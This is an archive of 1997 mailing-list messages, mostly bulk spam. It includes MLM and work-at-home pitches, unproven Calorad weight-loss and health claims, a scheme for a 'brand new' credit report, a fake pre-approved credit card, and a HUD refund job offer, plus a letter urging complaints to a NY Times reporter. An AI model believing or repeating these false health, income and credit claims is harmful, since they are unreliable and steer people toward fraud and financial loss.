Content-Type: text/plain


_____________________________________________________________
This is a webmaster mailing from a qualified list of subscribers. 
 If you wish to be removed  from our future mailings, you MUST reply with the word 
 "Remove" in the Subject line and  we will automatically block you from our future mailings.
______________________________________________________________

Hello Adult Webmaster,

Make real $$MONEY$$ with Adult Clubs International. We pay you $9.00 for each $14.95 subscriber you send us. No Questions asked, send us a subscriber from your site and you you will receive $9.00

Are you sending your traffic to a site that only pay $0.03 - $0.05  per click and at the end of the month find out that the 2,500 clicks only registered 1,400.

Now is the time to join the Partner Plus+ Program. You need only place 2 lines of code on your page and we do the rest. We serve the banners from our site so there is no cost for bandwidth to you.

WE OFFER THE HIGHEST PARTNER PROGRAM PAY OUT IN THE INDUSTRY!!!!!

Register Today!

http://www.adultclubs.com/partner.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 23933677@compuserve.com
Date: Tue, 12 Aug 1997 20:29:56 -0700 (PDT)
To: Friend@public.com
Subject: The Easiest One Yet, By Far !
Message-ID: <19978540025.FDD08056@mlcirrumert.com>
MIME-Version: 1.0
Content-Type: text/plain


*To be removed please reply with "remove" in the subject line.
-------------------------------------------------------------------------------------------------

I DON'T HAVE TIME FOR MLM
AND I DON'T WANT TO TALK TO PEOPLE,

YET I MADE $2300.00 LAST WEEK ( 4TH WEEK ) !

********************************************************
**** CALL (800) 811-2141   CODE #15645  *****
********************************************************

SIMPLY ADVERTISE THE ABOVE (800) 
NUMBER WITH YOUR OWN ID CODE!

IT'S THAT EASY!

We talk to them for you! We mail the materials! 
We close them! You get $100 EACH paid weekly!
      
	PAYS UP TO 85% TO INFINITY     !!!    

"I made & received $2,300 my 4th week,
$2,360 my 3rd week, and $2,110 my 2nd week."

*** IF YOU CAN FIND A PROGRAM THAT'S
EASIER THAN THIS ONE, WE WILL ENROLL 
YOU FOR FREE !!!

YOU HAVE NOTHING TO LOSE.
 
THE CALL IS FREE !!! CALL NOW !!!

********************************************************
**** CALL (800) 811-2141   CODE #15645  *****
********************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 51577362@aol.com
Date: Tue, 12 Aug 1997 21:25:45 -0700 (PDT)
To: Friend@public.com
Subject: Let's change that image in the mirror for the last time !!!
Message-ID: <Orginated From tidle.net (208.206.88.99])  ~ (Orginated from meggsiinet.net [206.206.268.229])>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#00ff40"><FONT  COLOR="#000000" SIZE=3>                                 DO YOU LIKE WHAT YOU SEE
                                        IN THE MIRROR?

                                HAVE THINGS GONE SOUTH?
                               DO YOU HAVE SAGGING SKIN?
                                IS GRAVITY TAKING IT'S TOLL?

                       INTRODUCING

                                  CALORAD(R)

Now available in the U.S. for the first time!
It Literally Melts Fat and Rebuilds Connective
Tissue WHILE YOU SLEEP!  NO KIDDING!!

 10 Year Proven Track Record - 86% Success Rate
 Medical Test Results are coming in from all over the Country
 Health Practitioners are endorsing this product
 by the thousands!

                               Cholestrol Levels are down!
             Triglycerides down!                       Blood Pressure down!
                                          Pain is leaving!

 Muscle is rebuilding while bodies are RESHAPING!
 Body Builders, Athletes, World Champions and
 Professional Trainers are endorsing this product!
 INCHES AND WEIGHT MELT OFF WHILE YOU SLEEP!

             100% SAFE - 100% NATURAL
Absolutely no SIDE EFFECTS, STIMULANTS OR DRUGS!
Good for teenagers and adults alike!
(No pregnant or lactating women)

INCREDIBLE $$$$$$$$$ OPPORTUNITY AVAILABLE!
Exclusive International Marketing Rights!
England & Australia opening soon!

My upline is ordering 52,000 bottles each week!
We will help build your unlimited downline!  Not MLM!
You can reduplicate yourself up to 99 times!

Many are earning $1750+ first week! (possible up to 99x!!!)
Company has only been officially launched since April 1997
Unprecedented $6.1 million in 1st month!

                  Follow These $imple $teps To $uccess:

                                                       For More info:


http://www.globalnet4u.com/calorad<FONT  COLOR="#0000ff" SIZE=3>
 
</FONT><FONT  COLOR="#000000" SIZE=3> E~mail Assistance<B> </B> or Call : <B>
 <FONT  COLOR="#0000ff" SIZE=3></B>
</FONT><FONT  COLOR="#000000" SIZE=3> 888-550-1885 ( Press # 0 for our 24 hr. operator )<FONT  COLOR="#0000ff" SIZE=3><B>
</FONT><FONT  COLOR="#000000" SIZE=3></B>
~~~~~~~~~~~~~~
Remove Here !  Put "Remove" in Subject !



<FONT  COLOR="#0f0f0f" BACK="#fffffe" SIZE=3>----------------------- Headers --------------------------------
>From 71892800@iiname.com  Mon Jun  9 21:58:57 1997
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Date: Mon, 09 Jun 97 21:03:09 EST
To: globalnet4u@aol.com 6globalnet4u.net [209.207.40.1])
Subject: </FONT><FONT  COLOR="#000040" SIZE=3>DO YOU LIKE WHAT YOU SEE IN THE MIRROR?</FONT><FONT  COLOR="#0f0f0f" SIZE=3>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 19807940@aol.com
Date: Wed, 13 Aug 1997 01:56:06 -0700 (PDT)
To: credaid@88seventeen.com
Subject: Your Credit Report
Message-ID: <32224964576SSA61080@54seventeen.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
    *AS SEEN ON TV * AS SEEN ON TV * AS SEEN ON TV* AS SEEN ON TV*
//////////////////////////////////////////////////////////////////////

If you received this electronic mailing by mistake, please pardon our intrusion.

Dear Friend,

Are you or somebody that you know experiencing credit problems?  If your answer is yes, I think you will be very interested in our special offer. No longer will you have to live like a second class citizen due to a bad credit report. Bad credit is caused by a variety of reasons:  Health, divorce, termination of employment, loss of income and dozens of other reasons. The bottom line is that bad credit can happen to anybody.  There is no specific profile of a person with credit problems. It can happen to doctors, lawyers, accountants, the mail man, truck drivers, housekeepers and salesmen. As a matter of fact, one in three Americans live with some form of bad credit. Fortunately, the United States Government has passed many laws under the Fair Credit Reporting Act, all of which protect your rights as a consumer. Our manuals will show you how to use these Federal laws to your advantage and repair or obtain a new credit report.

            ***** THE FRESH START PROGRAM (TM) *****

Have you seen your credit bureau report lately?  Have you recently been denied credit because of a bad cedit report? If you have answered yes, then you need to take advantage of THE FRESH START PROGRAM (TM). THE FRESH START PROGRAM (TM) will guide you through the process of obtaining a BRAND NEW credit bureau report. Our easy-to-follow manual will put you on the fast track to obtaining your new credit bureau report and can be accomplished within 24 hours! Regardless of your credit rating, you can NOW obtain a brand new, fresh credit bureau report free of:

		*  ANY bad credit
		*  Bankruptcies
		*  Judgements
		*  Foreclosures
		*  Charge-Off's
		*  Tax Lien's
		*  Repossessions
		*  Late pays
		*  Garnishments
		*  Inquiries

NOW, you can have a 'Clean Slate' and a 'FRESH START' with a brand new, credit bureau report.

//////////////////////////////////////////////////////////////////////

            ***** THE COMPLETE CREDIT REPAIR KIT (TM) *****

Good credit empowers you to qualify for personal loans, business loans, auto loans, credit cards, home loans and other types of credit you may apply for, at the best possible interest rate. As you know, if you don't have excellent credit, lenders will NEVER extend credit to you! The Fair Credit Reporting Act will allow you to legally and permanently ERASE the negative information on your credit bureau file. Anything that is damaging to your credit rating, may be removed:
Inquiries, Foreclosures, Repossessions, Charge-Off's, Late Payments
Student Loans, Bankruptcies and Judgements

The 'Credit Repair' companies located in every city will charge from $500.00 and up to do what our easy-to-follow manual will teach you. Now, in the privacy of your own home, you can repair your own credit at your own pace.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

                        ***** PROOF *****

"Having bad credit was the one thing holding me back from starting my own business. After working your program, I qualified for a $45,000 Small Business Loan. My business is making me more money than I've ever made.  Your program is truly priceless!"
					George S.  -  Fresno, CA.

"Thank you, thank you, thank you!  Before, my credit was totally trashed. After using your Fresh Start Program and using The Complete Credit Repair Kit, my wife and I qualified to purchase our first home with no down payment. These programs are worth thousands of dollars!"
					Kenneth T.  -  Ithica, NY

"After being laid off, my creditors were not very understanding when I couldn't pay my bills and as a result, my credit was very badly damaged.  Once I started working again, I couldn't qualify for any type of credit. After using the manuals, I qualified to buy a new car, with no down payment."
					Mr. Fred C.  -  Tampa, FL

"After my divorce, I was forced to file bankruptcy.  I was told my credit would be ruined for 10 years. After using the your manuals, I have great credit again.  I even receive pre-approved credit cards in the mail. Thank you so much for your amazing program.  I don't know what I could have done without it. I highly recommend your program to anyone who has credit problems."
					Ms. Anna S.  -  Tacoma, WA

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
YOU MAY BE ABLE TO EARN $1,500.00 FOR YOUR TESTIMONIAL ON OUR UPCOMING TV INFOMERCIAL.
DETAILS INCLUDED WITH YOUR ORDER.
//////////////////////////////////////////////////////////////////////

Don't let ANYONE tell you that you can not make the transition from a bad credit risk to that of preferred credit customer. Over 175,000 satisfied customers can't be wrong!  each manual, THE FRESH START PROGRAM (TM) and THE COMPLETE CREDIT REPAIR KIT (TM) is normally $89.95 + $3.95 S&H. However, if you take advantage of this special offer within the NEXT 24 HOURS, you will pay only $34.95 + $3.95 S+H for one program or you can take both programs for $54.95 +$3.95 S&H (U.S. Funds Only).  

To place your order, simply mail the form below, along with your certified check, money order, personal check or cash to:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
I.M.S.
5201 Kingston Pike, Suite 6-216
Knoxville, Tennessee 37919

Yes, please send the manual(s) checked below:

$34.95     THE FRESH START PROGRAM (TM)

$34.95     THE COMPLETE CREDIT REPAIR KIT (TM)		

$54.95     Both Programs				
				
$_____     Sub Total
				
$ 3.95     Shipping and handling
$(15.00)   RUSH Delivery (Optional)

$_____     Total Enclosed

I have enclosed (Check One): 
_____Cashiers Check
_____Money Order
_____Personal Check
_____Cash

SHIPPING INFORMATION:

Name:_________________________________________
Phone:_______--__________--___________________

Physical Street Address (NO P.O. BOXES):_______________________________________

City:______________________ 
State:____   Zip/Postal Code:_________________

Your E-Mail Address (Needed for order confirmation):________________________________

///////////////////////////////////////////////////

SAVE AN ADDITIONAL $5.00!!! FAX YOUR ORDER NOW!!!

Please tape your completed check in the space below and fax it along with your order to IMS.

That toll free number is 1-423-681-6520 

*************************************************

                                               
  FAX: 1-423-681-6520                         
                                               
  Please Tape Your Check Here                  
                                               
  Please Sign Your check                       
                                               
                                               
*************************************************

Thank You For Your Order-All orders shipped same day.

654657808038556


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mornings@concentric.net
Date: Wed, 13 Aug 1997 07:13:47 -0700 (PDT)
To: mornings@concentric.net
Subject: The Card!!!!!
Message-ID: <199708131412.JAA29399@dfw-ix10.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


CASH ADVANCE APPROVED:   YES                                  APPROVAL NUMBER: 000-458249
CREDIT LIMIT:                          $3,000.00                          APPROVAL EXPIRES: 09/01/97
CREDIT PROVIDER:                 MORNINGSTAR              BANK AFFILIATION:     NONE
CARD ISSUED:                          MORNINGSTARCARD    MEMBER STATUS:     PENDING
ANNUAL FEE:                            NONE                              APR:                             17.99%



DEAR FUTURE CARDHOLDER,

CONGRATULATIONS!  YOU HAVE BEEN PRE-APPROVED FOR A $3,000.OOO UNSECURED CREDIT LINE FROM THE FINANCIAL DIVISION OF MORNINGSTAR ENTERPRISES REGARDLESS OF YOUR PAST CREDIT.

YOUR APPROVAL NUMBER IS 000-458249 AND YOUR PRE-APPROVED CREDIT AMOUNT OF $3,000.00 FOR CREDIT PURCHASES AND CASH ADVANCES WILL BE AVAILABLE ONCE YOU RECIEVE YOUR MORNINGSTARCARD JUST BY CALLING NOW!

AS A MEMBERSHIP BENEFIT, YOU WILL BE PROCESSED*  AT NO COST FOR AN UNSECURED MAJOR CREDIT CARD WITH A CREDIT LINE OF UP TO $5,000.00 REGARDLESS OF PAST CREDIT.

SEND NO MONEY NOW  - THERE IS NO SECURITY OR MONEY DEPOSITS REQUIRED!  CALL IMMEDIATELY WITH YOUR APPROVAL NUMBER TO ACTIVATE YOUR MEMBERSHIP AND ITS BENEFITS.

BY ACTING NOW - WE'LL ASSIGN YOUR MORNINGSTARCARD WITHIN THE NEXT 48 HOURS AND THEN APPLY YOUR ONE TIME MEMBERSHIP FEE BY THE PAYMENT METHOD YOU PREFER.  IN ADDITION, YOU'LL RECEIVE $100.00 OFF YOUR FIRST CREDIT PURCHASE OVER $200.OO WITH THE MORNINGSTARCARD JUST BY CALLING NOW!

GETTING MORE CREDIT IS AS SIMPLE AS CALLING US TODAY T0 ACTIVATE YOUR MEMBERSHIP AND TO OBTAIN YOUR PIN CODE FOR CASH ADVANCES BEFORE YOUR APPROVAL EXPIRES.

SO CALL NOW AND GET THE CREDIT YOU DESERVE.  100% QUALITY ASSURANCE AND NO LESS!

                                            CALL RIGHT NOW(IF BUSY KEEP TRYING)
                                                 ********** 1-702-435-1930**************
                         FOR IMMEDIATE ACTIVATION AND ESTABLISH FOR CREDIT TODAY!

  * YOU MUST CALL TO OBTAIN YOUR PIN CODE FOR CASH ADVANCES AND FOR MEMBERSHIP ACCEPTANCE ALONG WITH OBTAINING COMPLETE DETAILS OUTLINING OUR PROGRAM!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gasmaster@internetemedia.net
Date: Wed, 13 Aug 1997 23:07:14 -0700 (PDT)
To: gasmaster@internetmedia.net
Subject: Initial Public Offering for Gasmaster International
Message-ID: <bulk.435.19970813235141@lamprey.internetmedia.net>
MIME-Version: 1.0
Content-Type: text/plain


THIS EMAIL IS NEITHER AN OFFER TO SELL NOR A SOLICITATION OF AN OFFER
TO BUY THESE SECURITIES.  THE OFFERING IS MADE BY THE U-7 DISCLOSURE
DOCUMENT ONLY.

All securities are offered through Intrepid Securities, Inc., 
Torrance CA. Intrepid is a member of the NASD and is SIPC insured.  

Gasmaster International, Inc. is a leader in magnetic field technology 
to create turbulence within the flow of fuel with it's patented Fuel 
Flow System.  This turbulence increases the burning efficiency of the 
fuel, which results in improved fuel economy and a reduction in 
emissions.  Gasmaster has Fortune 500 clients with applications from 
boilers to diesel engines.  

The GASMASTER Fuel Flow System (FFS) was evaluated recently by 
Hawthorne Machinery Co., the San Diego Caterpillar dealer. It was 
tested on a Caterpillar 3406 B engine in a Class 8 Peterbuilt
Tractor. The vehicle is used daily to deliver equipment in their 
Rental Division.

During the 28-day test period the vehicle accumulated 4,060 miles 
with the following results:

               13% better fuel economy
               26% reduction in opacity 
                   (the black stuff coming out of the exhaust)

Overall, the worldwide market for the GASMASTER(r) Fuel Flow System 
is considered to range well over $1 billion dollars within the 
major industrial markets alone, with major extensions in consumer 
applications also possible.

The minimum investment is 300 shares at $2 per share ($600).

For more information just click on:   

http://www.prestigeipo.com/special.htm

http://www.prestigeipo.com     

Don Jones

--------------------------------------------------------------
PrestigeIPO respects your online time and Internet privacy. 
This is a one-time mailing, your name will be deleted from 
our files.  However, if you are interested in receiving more 
information, updates or future newsletters, please type 
"subscribe" into the subject line of your reply. Thank you!
--------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailhost@aol.com
Date: Sun, 14 Sep 1997 01:14:17 -0700 (PDT)
To: credaide@6021workathome.com
Subject: Make Money With Your PC
Message-ID: <711416982YYZ25037@6021workathome.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
***************COMPUTER USERS NEEDED***************

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Set Your Own Hours.  Earn $20,000 to $50,000 per year.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

If you presently own your own Macintosh or IBM compatible personal computer, this amazing work-at home program may be just for you.

First, please understand this is not a get-rich-quick scheme, chain letter scam or anything else that makes the promise of getting something for nothing.  However, this is a legitimate program that will reward those who do not mind hard work, with a substantial source of extra income.

Our manual, 'Work at Home Using Your Personal Computer (c 1995)' will outline the 27 different areas that are the most needed and requested services.  We then put you in direct contact with the actual companies in your local area that are downsizing and offering work.  Today, many, many companies are streamlining due to economic pressure and the need for home-based workers is at an all-time high.

Basic skills such as typing, data entry or word processing will allow you to earn between $10 and $15 an hour.  More advanced skills such as medical billing, database management and bookkeeping earn $20 to $30 per hour and are a common occurence.

Those with even greater technical skills, graphic design, desktop publishing, basic programming or web site design can earn between $30 and $45 per hour.

This program comes to you with a 100% money-back guarantee. The package we send to you contains everything in writing.  You will recieve the easy-to-follow, fact filled manual and software package only if you act now!

This program is the perfect solution for housewives, students, the home-bound, as well as those seeking a solid second career.  The easy-to-follow manual and software package comes to your for only $49.95
----------------------------------------------------------------------
Look below to see how you can save $15 today!
----------------------------------------------------------------------
IMS
5201 Kingston Pike
Suite 6-216
Knoxville, Tennessee 37919

YES,  please rush the 'Work at Home Using My Personal Computer (c 1995) manual!

___________  I have enclosed $49.95 plus $4.95 shipping and handling. ($54.90 total)

___________  I want to save $10.00! I am ordering within 24 hours - I have enclosed $39.95 plus $4.95 shipping and handling. ($44.90 total)

___________ Please RUSH my order - add an additional $15.00 (OPTIONAL)

I have enclosed (Check One):

_____ Cashiers Check
_____ Money Order
_____ Personal Check

SHIPPING INFORMATION

Name:__________________________________________________

Telephone:_______-______-____________

Physical Street Address (NO PO BOXES please)__________________

_______________________________________________________

City:___________________________________________________

State:_________      ZIP:____________________________________

Your E-Mail Address (Needed for order confirmation)____________________________


 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

SAVE AN ADDITIONAL $5.00!!!  FAX YOUR ORDER NOW!

Please tape your completed and signed check in the space below and fax to IMS. That facsimile number is 1-423-681-6520.


*************************************


FAX: 1-423-681-6520


PLEASE TAPE YOUR CHECK HERE


Please SIGN you check

*************************************

Thank You For Your Order

2156887000908001546877


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FreedomFound@t-1net.com
Date: Thu, 14 Aug 1997 04:32:51 -0700 (PDT)
To: FreedomFound@t-1net.com
Subject: ?????
Message-ID: <199708141130.GAA18690@quick.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain



Hello,
If You Qualify, You Could Net
 Yourself Well Over $150,000
 By The End Of 1997... Guaranteed!

 Greetings:
We are Dale and Gwen Yancy.
 We would like to ask you to please take 
 two minutes of you time to read the following. If you
 don't like what you see then please trash this mail and
 except our apologies for this disturbance. We promise
 you we will not send you another. We are writing to
 introduce you to a strong, wealth building home based
 business that is NOT a Multilevel Marketing venture or
 some get "rich quick scheme"... a business that is more
 profitable than any network marketing, direct sales,
 franchise or investment opportunity in existence today.

 Who Will Be Allowed To Work With Us?

 We are looking for a limited group of serious minded
 entrepreneurs that have been looking for a solid
 business opportunity. We are not looking for a huge
 response. We only want to work with people we feel have
 a "burning desire" to be successful. Can you visualize
 yourself earning $30,000 + net per month within the
 next year, if provided with the right opportunity to
 do so? Are you willing to commit to doing whatever it
 would take to be successful in this business once you
 completely understand it?

 How To Find Out If You Qualify

 To find out more, call toll free for more details:
 1-800-322-6169 Ext. 0650. This is a recorded message
 that is available 24 hours a day. It is NOT a telemarketer.
 If you are seriously interested...REPLY NOW! If you don't really feel
 you've got the right stuff to be successful, then
 please don't bother to respond. We only want to work
 with the motivated people who seriously want to make
 insane amounts of money!

 Again, if we have reached you in error, please send mail with REMOVE in the subject.
You will be immediately removed from any subsequent mailings. 
 Prosperous Regards,
Dale and Gwen Yancy

 P.S. Once again, this is NOT MLM. Serious inquiries only please! 

         1-800-322-6169  EXT 0650  DAY OR NIGHT












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil@dship.com
Date: Thu, 14 Aug 1997 07:06:52 -0700 (PDT)
To: Phil@dship.com
Subject: Important Notice
Message-ID: <199708141359.JAA17228@mail.ezonline.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
  I have some information you may be interested in.  What I have available 
is a list of companies that will drop ship products for you.  What this means 
is you market a product with out having to stock it.  You only pay for the 
product AFTER you recieve your customers payment.  There is NO 
investment by you other then the list, and you DO NOT need warehouse 
space and everything is drop shipped to your customers door.  You just 
advertise and take the orders. This list contains tens of thousands of 
products by thousands of companies.  Everything from a - z.  The Best part 
is you have FULL RESALE RIGHTS to this list.  So you can sell this list to 
whomever you like.  Which is just one more avenue to meet your goals. 
Why make someone else rich well you do the dirty work. Work for 
YOURSELF and achieve your own financial independence.  The cost of 
this list is only 15.00 and its shipped via an e-mail attachment so you get it 
the day I recieve your payment. Don't waste time get started today.     This 
is NOT some get rich quick scheme.This is a chance to own your own 
legitimate  business.  Also as an added bonus Ill send a list of thousands of 
wholesalers FREE of charge.  Thank you for your time....

Just send a check or money order for $15.00  to:

Philip Bowlen
P.O. Box 18481
Beverly Hills, CA 90209
617-362-2500 


Note:  Due to the volume of bouced e-mails I recieve because of address 
changes the Return Address on this e-mail will not work.  If you need to 
reach me please Contact me via phone.  If you get a voice mail please 
leave your E-mail address and any questions you may have. I will respond 
promptly.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 84714498@01996.com
Date: Thu, 14 Aug 1997 15:03:00 -0700 (PDT)
To: Friend@public.com
Subject: $450 weekly gauranteed.
Message-ID: <1227687>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

$450 a week guaranteed job!

If you want to make $450 a week from home, you can.

HUD needs people to process mortgage refunds with them.

I will send you the complete information for $5, sent with your
Email address and postal address to:


4630 N.W. Grand suite 59-A
Glendale, AZ 85301


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eon@black.hole (eon)
Date: Fri, 15 Aug 1997 16:00:15 -0700 (PDT)
To: cybertim@nytimes.com
Subject: AGAIN???DISINFO IN THE NY TIMES???  RESPOND!!!
Message-ID: <1340453579-6908029@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Again the NY Times is blatantly misleading the public!

The following letter was sent to Jeri Clausing,
a NY Times reporter bringing the disinformative
article to her attention.

Please read her article and then send her a
"reminder" of her accountability to the public.
Journalism requires thourough research and not
just reliance on the press releases from NSI's
IAHC's, of DoC's pr agencies. Wheather it's
just pure laziness or wheather Ms. Clausing is
following an agenda of some sort, it still adds
up to dishonest and disinformative reporting.

You can email to Jeri Clausing at jeri@nytimes.com.
While you're at it, please cc it to her boss:
cybertim@nytimes.com, rofixm@nytimes.com



----------full text of message follows---------

To: jeri@nytimes.com
From: pgp@pgmedia.net (pgMedia)
Subject: Disinfo In the NY Times---again?
Cc: cybertim@nytimes.com, rofixm@nytimes.com
Message-ID: <1340460904-6466563@MediaFilter.org>
X-UIDL: 2ad5cdbc00a0fb68ba0a56b3fd2d9ae5

Dear Jeri Clausing,

In your August 15 article in Cybertimes entitled
"Public Jumps into the Domain Name Dispute"
you failed to mention some key facts which
are factors in the current Domain Name issue.

First, the petition being widely endorsed in
support of pgMedia, Inc.'s NAME.SPACE service,
was not mentioned in your article, although it
represents a significant percentage of the number
of total replies received to date by the
US Department of Commerce.

The petition is located at
http://petition.name.space.xs2.net

Second, you failed to report the fact that pgMedia, Inc.
is currently engaged in litigation against Network Solutions, Inc.,
a significant and influencing factor in this whole discussion.
(http://name.space.xs2.net/law)

These blatant omissions are patently misleading to
the public and fail to give a fair overview of the
entire situation. Wheather you are underinformed
on this issue, or wheather you consciously choose to
abridge the facts to suit your personal agenda or that
of your employer, the New York Times, you are doing a
disservice to the public by exercising such journalistic
irresponsibility.

I had higher expectations for those who write for the NY Times,
and this opportunity to see how news is shaped and manufactured
has been highly enlightening. Had I not been involved deeply and
first-hand in this issue and had there not been so much reported
about my comapny in the media, including the NY Times, concerning
pgMedia/Name.Space's role in the changing domain name space,
the Anti Trust Litigation against Network Solutions, and
the US Department of Justice's involvement, I would have
also been disinformed by your reporting.

If you have any interest in informing yourself fully on
the details absent in your reporting, please feel free to
contact me at 212.677.4080. I will be happy to meet with
you and demonstrate the name.space service and answer any
qusetions you may have...and I'll forgive you if you really
were unaware!

Best regards,

Paul Garrin
president
pgMedia, Inc./NAME.SPACE

http://name.space
http://name.space.xs2.net








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@pgmedia.net (pgMedia)
Date: Fri, 15 Aug 1997 18:34:10 -0700 (PDT)
To: cybertim@nytimes.com
Subject: AGAIN???DISINFO IN THE NY TIMES???  RESPOND!!!
Message-ID: <1340444993-7425307@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Again the NY Times is blatantly misleading the public!

The following letter was sent to Jeri Clausing,
a NY Times reporter bringing the disinformative
article to her attention.

Please read her article and then send her a
"reminder" of her accountability to the public.
Journalism requires thourough research and not
just reliance on the press releases from NSI's
IAHC's, of DoC's pr agencies. Wheather it's
just pure laziness or wheather Ms. Clausing is
following an agenda of some sort, it still adds
up to dishonest and disinformative reporting.

You can email to Jeri Clausing at jeri@nytimes.com.
While you're at it, please cc it to her boss:
cybertim@nytimes.com, rofixm@nytimes.com



----------full text of message follows---------

To: jeri@nytimes.com
From: pgp@pgmedia.net (pgMedia)
Subject: Disinfo In the NY Times---again?
Cc: cybertim@nytimes.com, rofixm@nytimes.com
Message-ID: <1340460904-6466563@MediaFilter.org>
X-UIDL: 2ad5cdbc00a0fb68ba0a56b3fd2d9ae5

Dear Jeri Clausing,

In your August 15 article in Cybertimes entitled
"Public Jumps into the Domain Name Dispute"
you failed to mention some key facts which
are factors in the current Domain Name issue.

First, the petition being widely endorsed in
support of pgMedia, Inc.'s NAME.SPACE service,
was not mentioned in your article, although it
represents a significant percentage of the number
of total replies received to date by the
US Department of Commerce.

The petition is located at
http://petition.name.space.xs2.net

Second, you failed to report the fact that pgMedia, Inc.
is currently engaged in litigation against Network Solutions, Inc.,
a significant and influencing factor in this whole discussion.
(http://name.space.xs2.net/law)

These blatant omissions are patently misleading to
the public and fail to give a fair overview of the
entire situation. Wheather you are underinformed
on this issue, or wheather you consciously choose to
abridge the facts to suit your personal agenda or that
of your employer, the New York Times, you are doing a
disservice to the public by exercising such journalistic
irresponsibility.

I had higher expectations for those who write for the NY Times,
and this opportunity to see how news is shaped and manufactured
has been highly enlightening. Had I not been involved deeply and
first-hand in this issue and had there not been so much reported
about my comapny in the media, including the NY Times, concerning
pgMedia/Name.Space's role in the changing domain name space,
the Anti Trust Litigation against Network Solutions, and
the US Department of Justice's involvement, I would have
also been disinformed by your reporting.

If you have any interest in informing yourself fully on
the details absent in your reporting, please feel free to
contact me at 212.677.4080. I will be happy to meet with
you and demonstrate the name.space service and answer any
qusetions you may have...and I'll forgive you if you really
were unaware!

Best regards,

Paul Garrin
president
pgMedia, Inc./NAME.SPACE

http://name.space
http://name.space.xs2.net






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mastergraphics714@usa.net
Date: Sat, 16 Aug 1997 01:31:32 -0700 (PDT)
Subject: Graphics
Message-ID: <484847563093.OMP33374@usa.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Hello,

I design unique web graphics and web pages here in cyberspace. 
http://www.laughingbird.com

I'd like to help you redesign your webpages by adding professional images.
My prices are all flat rates. I don't believe in  "hourly" charges.

I also have some free software on my site for you to 
download. Made both for the Macintosh and Windows machines. There's a 
cartoon 
blackjack game... and a recipe program with 215 recipes called "The 
Laughingbird Restaurant" with colorful cartoon graphics. Both 
free, no strings attached. It's just my way of saying "thanks for 
checking me out".

If you're interested in having some nice, totally customized, graphics... 
animations... logos or Icons, please keep me in mind.

Thanks for listening.

Marc Sylvester
http://www.laughingbird.com

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailhost@aol.com
Date: Mon, 15 Sep 1997 23:51:13 -0700 (PDT)
To: credaide@6050workathome.com
Subject: Make Money With Your PC
Message-ID: <81812982YYZ25037@6050workathome.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
***************COMPUTER USERS NEEDED***************

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Set Your Own Hours.  Earn $20,000 to $50,000 per year.
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If you presently own your own Macintosh or IBM compatible personal computer, this amazing work-at home program may be just for you.

First, please understand this is not a get-rich-quick scheme, chain letter scam or anything else that makes the promise of getting something for nothing.  However, this is a legitimate program that will reward those who do not mind hard work, with a substantial source of extra income.

Our manual, 'Work at Home Using Your Personal Computer (c 1995)' will outline the 27 different areas that are the most needed and requested services.  We then put you in direct contact with the actual companies in your local area that are downsizing and offering work.  Today, many, many companies are streamlining due to economic pressure and the need for home-based workers is at an all-time high.

Basic skills such as typing, data entry or word processing will allow you to earn between $10 and $15 an hour.  More advanced skills such as medical billing, database management and bookkeeping earn $20 to $30 per hour and are a common occurence.

Those with even greater technical skills, graphic design, desktop publishing, basic programming or web site design can earn between $30 and $45 per hour.

This program comes to you with a 100% money-back guarantee. The package we send to you contains everything in writing.  You will recieve the easy-to-follow, fact filled manual and software package only if you act now!

